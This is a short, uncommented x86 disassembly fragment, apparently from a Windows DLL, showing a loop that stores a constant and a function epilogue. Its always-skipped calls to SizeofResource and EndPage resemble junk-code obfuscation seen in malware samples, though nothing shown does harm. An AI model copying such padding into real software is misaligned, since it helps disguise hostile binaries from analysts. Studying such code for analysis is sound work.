mov dword [ebp - 0x9b8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x914]
call fcn.1000f047
mov eax, dword [ebp - 0x9c0]
jmp 0x100408b8
mov dword [ebp - 0x1fc], 0
jmp 0x10040861
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x1004087d
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0xf68], 0xea75c96d
jmp 0x10040854
mov byte [ebp - 0xdb], 0
movzx eax, byte [ebp - 0xdb]
test eax, eax
je 0x10040899
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov byte [ebp - 0xd3], 0
movzx eax, byte [ebp - 0xd3]
test eax, eax
je 0x100408b6
push 0x2284
call dword [sym.imp.GDI32.dll_EndPage]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret